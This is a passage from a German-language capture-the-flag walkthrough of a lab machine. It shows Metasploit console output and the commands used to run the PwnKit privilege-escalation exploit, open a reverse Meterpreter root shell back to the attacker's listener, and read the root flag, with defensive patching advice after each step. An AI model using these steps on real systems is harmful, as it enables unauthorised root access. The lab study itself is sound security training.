[*] Started reverse TCP handler on 192.168.2.105:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.qhdgkmub [+] The target is vulnerable. [*] Writing '/tmp/.ljrzmufglyq/ylzrzjzzer/ylzrzjzzer.so' (548 bytes) ... [!] Verify cleanup of /tmp/.ljrzmufglyq [*] Sending stage (3045348 bytes) to 192.168.2.125 [+] Deleted /tmp/.ljrzmufglyq/ylzrzjzzer/ylzrzjzzer.so [+] Deleted /tmp/.ljrzmufglyq/.vxkuomuex [+] Deleted /tmp/.ljrzmufglyq [*] Meterpreter session 3 opened (192.168.2.105:4444 -> 192.168.2.125:60968) at 2023-07-11 23:31:40 +0200
**Analyse:** Der PwnKit-Exploit wird geladen und konfiguriert: * `use exploit/.../pwnkit...`: Lädt das Modul. * `options`: Zeigt die Konfigurationsoptionen. `SESSION` muss gesetzt werden. * `set session 2`: Zielt auf die bestehende Meterpreter-Session (als `bla1`). * `set lhost eth0`, `set lport 4444`: Konfiguriert den Listener für die neue Root-Shell. * `run`: Führt den Exploit aus. Metasploit bestätigt erneut die Anfälligkeit, lädt notwendige Dateien nach `/tmp` hoch, führt den Exploit aus, bereinigt die Dateien und meldet das erfolgreiche Öffnen einer neuen Meterpreter-Session (Session 3) mit Root-Rechten.
**Bewertung:** Root-Zugriff erfolgreich via PwnKit erlangt! Der Exploit funktionierte wie erwartet auf dem anfälligen System. Dies liefert den Proof of Concept für die Privilegieneskalation.
**Empfehlung (Pentester):** Interagieren Sie mit Meterpreter-Session 3, bestätigen Sie die Root-Rechte (`getuid`) und wechseln Sie zu einer Shell (`shell`), um die finale Flagge zu suchen.
**Empfehlung (Admin):** Patchen Sie PwnKit (CVE-2021-4034) durch Update von `policykit-1` *dringend*. Überwachen Sie `/tmp` und `pkexec`-Ausführungen.
Server username: root
Process 3406 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1001(bla1)
proof.txt
_________ ___. ____ __. .__ .__ __ _______ _____
\_ ___ \___.__.\_ |__ ___________| |/ _| ____ |__| ____ | |___/ |_ \ _ \ / | |
/ \ \< | | | __ \_/ __ \_ __ \ < / \| |/ ___\| | \ __\ / /_\ \ / | |_
\ \___\___ | | \_\ \ ___/| | \/ | \| | \ / /_/ > Y \ | \ \_/ \/ ^ /
\______ / ____| |___ /\___ >__| |____|__ \___| /__\___ /|___| /__| \_____ /\____ |
\/\/ \/ \/ \/ \/ /_____/ \/ \/ |__|
flag = 1876056353cb2e6253fd0ce121ef1b3f
This flag is a proof that you got the root shell.
You have to submit your report contaning all steps you take to got root shell.
Send your report at our e-mail address : ctf@infosecwarrior.com & vishalbiswas420@gmail.com
**Analyse:** In der neuen Meterpreter-Session (Session 3) wird mit `getuid` bestätigt, dass der Benutzer `root` ist. Mit `shell` wird eine interaktive Root-Shell geöffnet. Der `id`-Befehl bestätigt `uid=0(root)`. Der Pentester wechselt nach `/root` (`cd ~`), listet den Inhalt auf (`ls`) und findet `proof.txt`. Der Inhalt von `proof.txt` wird mit `cat` angezeigt und enthält ASCII-Art, eine Erfolgsnachricht und die Root-Flagge: `1876056353cb2e6253fd0ce121ef1b3f`.
**Bewertung:** Ziel erreicht! Die Root-Flagge wurde erfolgreich gefunden und ausgelesen. Der Penetrationstest ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Root-Flagge und den Angriffspfad (Python Code Injection -> Shell -> Meterpreter -> PwnKit).
**Empfehlung (Admin):** Beheben Sie die identifizierten Schwachstellen (Python Code Injection auf Port 56563, PwnKit/pkexec). Führen Sie eine gründliche Systemüberprüfung und Härtung durch.
Privilege Escalation erfolgreich
**Analyse:** Organisatorische Abschlussnotiz.
**Bewertung:** Bestätigt den Erfolg.
**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.